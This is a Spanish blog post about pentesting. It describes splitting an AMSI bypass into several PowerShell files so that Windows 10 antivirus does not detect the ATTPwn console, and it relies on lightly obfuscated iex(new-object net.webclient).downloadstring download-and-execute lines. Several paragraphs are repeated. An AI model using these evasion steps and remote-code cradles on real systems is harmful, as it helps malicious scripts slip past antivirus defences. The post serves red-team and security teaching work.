Desde hace ya tiempo hemos trabajado con el sistema AMSI (Anti Malware Scan Interface) de Windows 10 para entenderlo, conocerlo y en lo que podamos, mejorar su funcionamiento descubriendo sus límites. Desde luego que es una protección más que interesante y que permite detectar ciertas instrucciones maliciosas en lenguajes de scripting como Javascript, Powershell o VBS antes de que sean ejecutadas. Es una forma de llegar donde el antivirus (AV) no puede llegar o, mejor dicho, de enterarse lo que pasa en un proceso cuando el AV no puede enterarse “per se”.
En Ideas Locas hemos llevado a cabo la creación de la herramienta ATTPwn, de la que ayer os contábamos las novedades de la nueva versión, y en la que pusimos mucho “cariño”. Esta herramienta de emulación de amenazas nos ha permitido enfrentarnos con el juego del gato y del ratón que presenta AMSI, como cualquier otra protección. Ya hemos hablado en el blog de estas cosas como, por ejemplo, con el artículo de ofuscación, bypass manual y AMSI.fail.
Trabajando últimamente con ATTPwn y mostrándolo en diversas conferencias nos hemos dado cuenta de la rapidez con la que AMSI ayuda a detectar ATTPwn o la consola que es el código de inicio en Powershell. Si estudiamos a Metasploit y el módulo web_delivery con su opción de Powershell podemos ver que, en las nuevas versiones, se ejecuta primero un bypass para AMSI, si estás en Windows 10, y posteriormente se ejecuta el Meterpreter o payload que hayas configurado.
Esto no es más que un ejemplo de la necesidad hoy en día de conocer las posibilidades de bypassear un AMSI en un Ethical Hacking y, lo más importante, ser capaces de modificar cualquier tipo de script que haga un bypass de AMSI para que, una vez detectado, podamos hacerlo de nuevo “indetectable”. De esto vamos a hablar en este artículo.
Cuando tu código de Powershell orientado a Pentesting es detectado
Cuando un código que hacía algo importante para tu Ethical Hacking es detectado por un AV, gracias a la implementación en ese proceso de AMSI, es un “problema”. ¿Qué podemos revisar? Sabemos que si ofuscamos el código puede que el AV no lo detecte como malicioso, pero ¿tengo más opciones? Sí. En la imagen se puede ver la consola de ATTPwn siendo detectada por AMSI.
Podemos abrir un ISE Powershell y comprobar paso a paso qué es lo que funciona y qué es lo que es detectado. Esto nos permite tener una primera visión del problema. Es una forma de aislar y acotar el problema. Pensemos que si tengo un script de 10 líneas y lo ejecuto sin más y es detectado, tengo que dividir el problema. Recuerda “divide y vencerás”. Mi script de 10 líneas puede ejecutarse en una Powershell de 2 líneas en 2 líneas. Si ejecuto las 2 primeras líneas y todo va bien, significa que AMSI no se “queja”. Podemos reducir el problema a:
Figura 1: Hacking Windows10: Troceando scripts para lograr el bypass de AMSI
En Ideas Locas hemos llevado a cabo la creación de la herramienta ATTPwn, de la que ayer os contábamos las novedades de la nueva versión, y en la que pusimos mucho “cariño”. Esta herramienta de emulación de amenazas nos ha permitido enfrentarnos con el juego del gato y del ratón que presenta AMSI, como cualquier otra protección. Ya hemos hablado en el blog de estas cosas como, por ejemplo, con el artículo de ofuscación, bypass manual y AMSI.fail.
Figura 2: ATTPwn en GitHub
Trabajando últimamente con ATTPwn y mostrándolo en diversas conferencias nos hemos dado cuenta de la rapidez con la que AMSI ayuda a detectar ATTPwn o la consola que es el código de inicio en Powershell. Si estudiamos a Metasploit y el módulo web_delivery con su opción de Powershell podemos ver que, en las nuevas versiones, se ejecuta primero un bypass para AMSI, si estás en Windows 10, y posteriormente se ejecuta el Meterpreter o payload que hayas configurado.
Figura 3: Metasploit para Pentesters Gold Edition |
Esto no es más que un ejemplo de la necesidad hoy en día de conocer las posibilidades de bypassear un AMSI en un Ethical Hacking y, lo más importante, ser capaces de modificar cualquier tipo de script que haga un bypass de AMSI para que, una vez detectado, podamos hacerlo de nuevo “indetectable”. De esto vamos a hablar en este artículo.
Cuando tu código de Powershell orientado a Pentesting es detectado
Cuando un código que hacía algo importante para tu Ethical Hacking es detectado por un AV, gracias a la implementación en ese proceso de AMSI, es un “problema”. ¿Qué podemos revisar? Sabemos que si ofuscamos el código puede que el AV no lo detecte como malicioso, pero ¿tengo más opciones? Sí. En la imagen se puede ver la consola de ATTPwn siendo detectada por AMSI.
Figura 4: Consola de ATTPwn detectada por AMSI
Podemos abrir un ISE Powershell y comprobar paso a paso qué es lo que funciona y qué es lo que es detectado. Esto nos permite tener una primera visión del problema. Es una forma de aislar y acotar el problema. Pensemos que si tengo un script de 10 líneas y lo ejecuto sin más y es detectado, tengo que dividir el problema. Recuerda “divide y vencerás”. Mi script de 10 líneas puede ejecutarse en una Powershell de 2 líneas en 2 líneas. Si ejecuto las 2 primeras líneas y todo va bien, significa que AMSI no se “queja”. Podemos reducir el problema a:
1. Ejecuta 2 primeras líneas de mi script 10 de líneas.2. Si todo va bien, ejecuto las siguientes 2.3. Si todo va bien… así hasta llegar a las 10 líneas de mi script.4. Si no se ha quejado y la funcionalidad se ha acabado ejecutando significa que puedo operar “troceando” la función o el script. Sin necesidad de ofuscar.
Si lo llevamos al plano de bypass de AMSI, nosotros nos encontramos con el problema de que la consola de ATTPwn era detectada y el usuario puede entender que la aplicación no funciona. No es cierto, es algo con lo que uno se debe enfrentar y dar solución. El usuario puede modificar el cómo se ejecuta dicho código, ofuscarlo, modificarlo, hacer lo que sea para evitar la protección.
Figura 5: Libro de Pentesting con PowerShell 2ª Edición |
Una estrategia para solventar el problema, que puede que en el futuro lo vuelvan a detectar, es la de trocear el bypass de AMSI de rasta-mouse, el cual está en ibombshell y en ATTPwn. El objetivo es evitar que esta función sea detectada por AMSI y ejecutarla. Posteriormente ejecutaríamos ATTPwn sobre un proceso sin AMSI, ¿Cómo lo haremos? Lo veremos un poco más adelante.
Figura 6: Deshabilitar envío de muestras en MS Windows Defender
Una recomendación cuando se está “jugando” con todo esto es tener la máquina virtual sin conexión a Internet si no queremos que se actualicen las firmas y/o deshabilitar la subida de las muestras. Esto se puede hacer desde Windows Defender de forma sencilla, aunque si la máquina no tiene conexión a Internet nos valdría.
Utilizando un bypass “Classic” más lo que hemos aprendido
Ahora, vamos a ver cómo troceamos el script para que podamos hacer el bypass de AMSI y nuestra consola de ATTPwn no sea “cazada” como maliciosa. Antes de nada, hay que pensar en, si podríamos hacerlo con un bypass de “classic”. Es cierto que modificando la línea ‘iex(new-object net.webclient).downloadstring(‘[URL consola]’) y metiendo alguna concatenación de strings se puede lograr, si la detección está basada en la firma de la URL. En el caso de que sea por contenido de la función consola, así no lo lograremos.
Figura 7: Parte 1 del script
La mentalidad de la estrategia es “una vez ejecutado algo, ya está ejecutado, sigamos leyendo”. Esto quiere decir que, basándonos en el apartado anterior, podemos trocear la función de bypass de AMSI de rasta-mouse e invocarla lo primero. Una vez ejecutada, podremos ejecutar la consola sin problema. Vamos a ello.
Lo primero es ver que tenemos 5 ficheros *.ps1 . En cada fichero tenemos un trozo de función de bypass de AMSI. El tercer fichero el código “troceado” lo puedes ver aquí.
Ahora viene un problema con el que nos enfrentamos. Quisimos dividir de menos, es decir, en el fichero 4 queríamos terminar el bypass de AMSI y ejecutar la consola de ATTPwn. ¿Qué ocurrió?
En la Figura 10 puedes ver el código que hicimos, pero si probamos a ejecutar los scripts, veremos que el truco aquí no funcionará, tal como se ve en la imagen siguiente.
Era demasiado pronto, ya que la instrucción de descarga de la consola se detectaba como malicioso. Quizá con una concatenación de strings en la URL se arregle, pero mejor no dividir de menos.
Así quedaría el fichero 4.ps1 y el fichero 5.ps1. Cada uno en su parcela para ver si podemos saltarnos el AMSI con este troceado.
La idea es ir ejecutando cada uno por separado, de modo que AMSI solo evaluará los ficheros que correspondan. Recordando lo de “una vez ejecutado, ejecutado queda” pues si el fichero 1.ps1 es evaluado como no malicioso y ejecutamos ese trozo, digamos que el AV no tiene memoria de lo que has ejecutado previamente.
Figura 9: Parte 3 del script
Ahora viene un problema con el que nos enfrentamos. Quisimos dividir de menos, es decir, en el fichero 4 queríamos terminar el bypass de AMSI y ejecutar la consola de ATTPwn. ¿Qué ocurrió?
Figura 10: Intentando abrir la consola en la parte 4 del script
En la Figura 10 puedes ver el código que hicimos, pero si probamos a ejecutar los scripts, veremos que el truco aquí no funcionará, tal como se ve en la imagen siguiente.
Figura 11: Fallo en la ejecución de la parte 4
Era demasiado pronto, ya que la instrucción de descarga de la consola se detectaba como malicioso. Quizá con una concatenación de strings en la URL se arregle, pero mejor no dividir de menos.
Figura 12: Parte 4 del script, correcta.
Así quedaría el fichero 4.ps1 y el fichero 5.ps1. Cada uno en su parcela para ver si podemos saltarnos el AMSI con este troceado.
Figura 13: Parte 5 del script
La idea es ir ejecutando cada uno por separado, de modo que AMSI solo evaluará los ficheros que correspondan. Recordando lo de “una vez ejecutado, ejecutado queda” pues si el fichero 1.ps1 es evaluado como no malicioso y ejecutamos ese trozo, digamos que el AV no tiene memoria de lo que has ejecutado previamente.
Figura 14: Ejecución de la función byp4ss
En ATTPwn hay una función que te devuelve una función, la que le pidas, para ser ejecutada. Esta función es “givemefunction”. De esta forma, directamente, se puede pedir una función y ser ejecutada antes de empezar con el flujo normal de una consola de ATTPwn que pide un plan de amenaza a emular. Recapitulando tenemos:
- 5 “snippets” de código que sumados ejecutan el bypass de AMSI
- Un fichero llamado byp4ss que almacena la llamada iex(new-object net'.'webclient).downloadstring([URL]) a cada “snippet” de código.
- El 5 fragmento de código es el de la llamada a la consola de ATTPwn.
- Los 4 primeros fragmentos se irán ejecutando y la suma es el bypass de AMSI.
Cabe destacar que tanto la llamada de la función byp4ss como las realizadas dentro de ella, hasta lograr el bypass de AMSI, son realizadas con una ofuscación mínima pero necesaria para hacer posible la ejecución de dicho bypass. Se puede ver en el entrecomillado del punto en iex(new-object net'.'webclient).downloadstring([URL])
Figura 15: Resultados sin y con una ofuscación mínima para lanzar el bypass
Es una técnica que podréis utilizar en diversos Ethical Hacking o ejercicios de Red Team ya que los resultados son bastante buenos. Otra vía, como se ha dicho en este artículo es ir por la ofuscación. Es otra opción. Sea como sea, ya tienes disponible en la última versión de ATTPwn, la 0.2.1, la posibilidad de crear el código de warrior de esta forma, para “asegurarte” el bypass de AMSI en un entorno Windows 10, Windows Server 2016/2019.
Saludos,
Autores:
Autores:
Figura 16: Contactar con Luis Eduardo Álvarez en MyPublicInbox |
Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root", “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica. Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox
Figura 17: Contactar con Pablo González |
No hay comentarios:
Publicar un comentario